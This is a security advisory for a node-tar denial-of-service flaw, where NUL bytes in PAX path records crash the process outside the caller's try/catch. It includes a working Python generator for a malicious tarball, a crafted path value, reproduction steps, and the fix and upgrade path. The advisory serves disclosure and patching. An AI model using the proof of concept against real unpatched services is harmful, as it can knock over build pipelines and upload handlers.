--- id: CVE-2026-59875 aliases: - GHSA-gvwx-54wh-qm9j title: 'node-tar: Uncaught Exception DoS via NUL byte in PAX path/linkpath records' summary: 'node-tar: Uncaught Exception DoS via NUL byte in PAX path/linkpath records' severity: medium cvss: 5.3 cwe: - CWE-248 vendor: tar product: tar ecosystem: npm affected: - tar <= 7.5.16 patched: - tar 7.5.17 published: '2026-07-20' updated: '2026-07-20' source: GHSA sourceUrl: 'https://github.com/advisories/GHSA-gvwx-54wh-qm9j' references: - url: 'https://github.com/isaacs/node-tar/security/advisories/GHSA-gvwx-54wh-qm9j' - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-59875' - url: >- https://github.com/isaacs/node-tar/commit/7a635c29f5edbf083557374d43984273ecfed5b3 - url: 'https://github.com/isaacs/node-tar/releases/tag/v7.5.17' - url: 'https://github.com/advisories/GHSA-gvwx-54wh-qm9j' tags: - ghsa - npm epss: 0.00507 epssPercentile: 0.40701 ingestedAt: '2026-07-20T22:43:35.378Z' --- ## Overview ## Summary `node-tar` strips trailing `NUL` bytes from long-name (`L`) and long-linkpath (`K`) GNU extended headers but does **not** apply the same sanitization to equivalent fields delivered via PAX (`x` typeflag) extended headers. A PAX record of the form `path=visible.txt\x00hidden.txt` is parsed verbatim into `entry.path` and flows into `fs.lstat()` / `fs.open()`, which Node.js core rejects with `ERR_INVALID_ARG_VALUE`. The throw originates inside an `FSReqCallback` async chain that is **not** wrapped by the consumer's `await/try-catch` around `tar.x()` — it surfaces as `uncaughtException` and terminates the process. This is a remote denial-of-service primitive against any process that extracts attacker-supplied tarballs through `tar.x` / `tar.extract` / `tar.t` / `tar.Parser`, even when the consumer follows the documented `try/catch` error-handling pattern. A secondary parser-differential (CWE-436) exists because `tar(1)`, `bsdtar`, and Python `tarfile` truncate the path at the first `NUL` (yielding `visible.txt`) while node-tar retains the full string. A validator that pre-scans a tarball with one tool and extracts with the other is bypassed. --- ## Root cause ### Vulnerable sink — `src/pax.ts:157-183` PAX KV records flow through `parseKVLine`. The value half (`v`) is assigned directly to the result object with no sanitization for embedded NUL bytes: ```ts // src/pax.ts:157 const parseKVLine = (set: Record, line: string) => { const n = parseInt(line, 10) if (n !== Buffer.byteLength(line) + 1) return set line = line.slice((n + ' ').length) const kv = line.split('=') const r = kv.shift() if (!r) return set const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1') const v = kv.join('=') // <-- NO NUL STRIP set[k] = /^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k) ? new Date(Number(v) * 1000) : /^[0-9]+$/.test(v) ? +v : v // <-- v with NULs lands here return set } ``` The PAX record body is length-prefixed, so the parser knows the exact byte boundary — but it never checks whether the value half between `=` and `\n` contains `NUL`. The result is consumed by `Header` / `ReadEntry`, where `entry.path` and `entry.linkpath` carry the embedded NUL all the way to `fs.lstat()`. ### Correctly-patched cousin sink — `src/parse.ts:375-388` The equivalent code path for GNU L/K long-headers **does** strip NUL bytes: ```ts // src/parse.ts:375 case 'NextFileHasLongPath': case 'OldGnuLongPath': { const ex = this[EX] ?? Object.create(null) this[EX] = ex ex.path = this[META].replace(/\0.*/, '') // <-- NUL strip applied break } case 'NextFileHasLongLinkpath': { const ex = this[EX] || Object.create(null) this[EX] = ex ex.linkpath = this[META].replace(/\0.*/, '') // <-- NUL strip applied break } ``` The `parse.ts` fix is the maintainer's own acknowledgement that path strings on this codepath must be NUL-stripped before reaching `fs.*`. The PAX path produces the identical primitive but bypasses the guard. ### Downstream blast radius `entry.path` and `entry.linkpath` are consumed in: - `src/unpack.ts` → `fs.lstat`, `fs.open`, `fs.symlink`, `fs.link`, `fs.mkdir` - `src/list.ts` (no crash — listing tolerates NUL in strings) - Any consumer of the `ReadEntry` event that calls `path.join()` / `fs.*` on `entry.path` The crash fires inside the FSReqCallback Node-internal async machinery, **outside** the user's `await tar.x(...)` Promise rejection boundary. --- ## Proof of Concept ### Artifacts - `poc-null-byte-crash.tar` — 3072 bytes — PAX `path=visible.txt\x00hidden.txt` - `poc-null-linkpath-crash.tar` — 2560 bytes — PAX `linkpath=target\x00garbage` (symlink target sink) - `poc1-pax-prefix.py` — minimal PAX-header builder (Python 3, no deps) ### Tarball generator (minimal repro — Python 3) ```python #!/usr/bin/env python3 """Minimal PAX-NUL-injection tarball generator for node-tar PoC.""" import os def cksum(b): s = 0 for i, x in enumerate(b): s += 0x20 if 148 <= i < 156 else x return s def pad512(buf): rem = len(buf) % 512 return buf + b'\0' * (512 - rem) if rem else buf def hdr(name, size, typeflag, prefix=b'', linkpath=b''): b = bytearray(512) b[0:len(name[:100])] = name[:100] b[100:108] = b'0000644\0' b[108:116] = b'0001000\0' b[116:124] = b'0001000\0' b[124:136] = ('%011o ' % size).encode() b[136:148] = ('%011o ' % 0).encode() b[148:156] = b' ' b[156:157] = typeflag b[157:157+len(linkpath[:100])] = linkpath[:100] b[257:265] = b'ustar\x0000' b[265:270] = b'root\0' b[297:302] = b'root\0' b[329:337] = b'0000000\0' b[337:345] = b'0000000\0' b[345:345+len(prefix[:155])] = prefix[:155] s = cksum(b) b[148:156] = ('%06o\0 ' % s).encode() return bytes(b) def pax(records): body = b'' for k, v in records: kv = b' ' + k + b'=' + v + b'\n' for digits in range(1, 8): total = digits + len(kv) if len(str(total)) == digits: break body += str(total).encode() + kv return pad512(hdr(b'PaxHeader/poc', len(body), b'x') + body) out = pax([(b'path', b'visible.txt\x00hidden.txt')]) # NUL in PAX path out += hdr(b'placeholder', 1, b'0') out += pad512(b'A') out += b'\0' * 1024 # end-of-archive open('poc.tar', 'wb').write(out) ``` ### Reproduction ```bash # 1. Generate tarball python3 poc1-pax-prefix.py # writes poc.tar (3 KB) # 2. Install vulnerable version mkdir repro && cd repro npm init -y && npm install tar@7.5.16 # 3. Try to extract with documented try/catch — observe uncaught exception mkdir -p ./out node --input-type=module -e ' process.on("uncaughtException", e => { console.log("UNCAUGHT:", e.code, "-", e.message); process.exit(99); }); import("tar").then(async tar => { try { await tar.x({ file: "../poc.tar", cwd: "./out" }); console.log("NORMAL_RETURN"); } catch (e) { console.log("CAUGHT_BY_USER:", e.code); } });' ``` ### Observed output (verified 2026-06-23 against `tar@7.5.16`) ``` UNCAUGHT: ERR_INVALID_ARG_VALUE - The argument 'path' must be a string, Uint8Array, or URL without null bytes. Received '/.../out/visible.txt\x00hidden.txt' exit: 99 ``` The exception bypasses the user's `try { await tar.x(...) } catch (e) { ... }` block and lands in the global `uncaughtException` handler. In a typical server without that handler, the process exits. --- ## Impact ### Direct: remote DoS Any service that ingests attacker-supplied tarballs via node-tar inherits a one-tarball-kills-the-process primitive. Realistic deployments where this is reachable without user interaction: - npm registry tarball ingestion and downstream mirrors - GitHub Actions cache restore (`actions/cache`, `actions/setup-*` extracting toolchains) - Container image build pipelines that unpack layer tarballs through node tooling - Backup-restore services accepting user uploads - CI artifact processors and badge generators - Static-site / Docusaurus / Next.js build runners that fetch and extract dep tarballs - Cloud functions that auto-extract uploaded archives A correctly-coded consumer that does: ```js try { await tar.x({ file: req.upload.path, cwd: tmpdir }); } catch (e) { return res.status(400).json({ error: 'bad archive' }); } ``` does not catch this throw. The Node process dies and (depending on the supervisor) the worker may take time to respawn or never respawn if it dies during boot. ### Secondary: parser-differential validator bypass (CWE-436) | Tool | Result for `path=visible.txt\x00hidden.txt` | |----------------------------|----------------------------------------------| | GNU tar (`tar -tvf`) | Lists `visible.txt` (truncated at NUL) | | `bsdtar -tvf` | Lists `visible.txt` (truncated at NUL) | | Python `tarfile.list()` | Lists `visible.txt\x00hidden.txt` (raw) | | node-tar `tar.t({file})` | Emits raw NUL-bearing path (no crash) | | node-tar `tar.x({file})` | **Crashes** (uncaught throw) | A pre-flight validator using GNU tar or bsdtar will see a benign filename; the subsequent node-tar extraction blows up. This is exploitable against any architecture that lists-and-validates-then-extracts. --- ## Suggested patch Match the long-name handler in `parse.ts` — strip everything from the first NUL onward in `parseKVLine` value parsing: ```diff --- a/src/pax.ts +++ b/src/pax.ts @@ -173,7 +173,7 @@ const parseKVLine = (set: Record, line: string) => { const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1') - const v = kv.join('=') + const v = kv.join('=').replace(/\0.*$/, '') set[k] = /^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k) ? new Date(Number(v) * 1000) ``` This matches `src/parse.ts:379` and `src/parse.ts:386` and closes both `path` and `linkpath` sinks in one change. A defense-in-depth follow-up: add an explicit `assert(!v.includes('\0'))` (or fail-soft `return set`) at the top of `parseKVLine` so malformed PAX records that *aren't* path/linkpath also can't smuggle NUL into other unanticipated consumers (e.g. third-party readers of `entry.header.atime` Date objects constructed from `Number(v)` where `v` had embedded NUL). ## Affected packages - `tar <= 7.5.16` ## Remediation Upgrade to a patched release: - `tar 7.5.17`